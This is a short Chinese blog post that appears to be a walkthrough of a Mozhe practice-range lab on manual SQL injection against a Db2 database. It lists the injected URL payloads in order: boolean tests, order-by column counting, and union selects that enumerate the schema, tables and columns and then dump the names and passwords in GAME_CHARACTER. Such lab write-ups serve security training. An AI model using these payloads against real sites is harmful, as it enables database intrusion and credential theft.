墨者-SQL手工注入漏洞测试(Db2数据库)

╰落叶梧桐细数悲伤゛

已于 2024-07-22 20:38:35 修改

阅读量87

点赞数 1

分类专栏：墨者靶场文章标签：数据库 sql

于 2024-07-22 20:11:23 首次发布

本文链接：https://blog.csdn.net/qq_66105152/article/details/140618342

版权

4 篇文章 0 订阅

订阅专栏

/new_list.php?id=1 and 1=1

/new_list.php?id=1 and 1=2

order by 4

order by 5

3.用union select判断回显位置发现显示不出来，union select 1,2,3,4 from sysibm.systables就可以回显了

SYSIBM.SYSDUMMY1表是一个内存的特殊表（按照Oracle的术语，习惯称之为“伪表”），常用于访问DB2中的寄存器，从而返回特定需要内容。（此外VALUES也可用于访问寄存器）

new_list.php?id=-1 union select 1,current schema,3,4 from sysibm.systables

/new_list.php?id=-1 union%20select 1,2,tabname,4 from%20syscat.tables where tabschema='DB2INST1' limit 0,1

/new_list.php?id=-1 union select 1,2,tabname,4 from%20syscat.tables where tabschema='DB2INST1' limit 1,1

union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1

union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 1,1

union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 2,1

union select 1,name,password,4 from GAME_CHARACTER limit 0,1

关注

专栏目录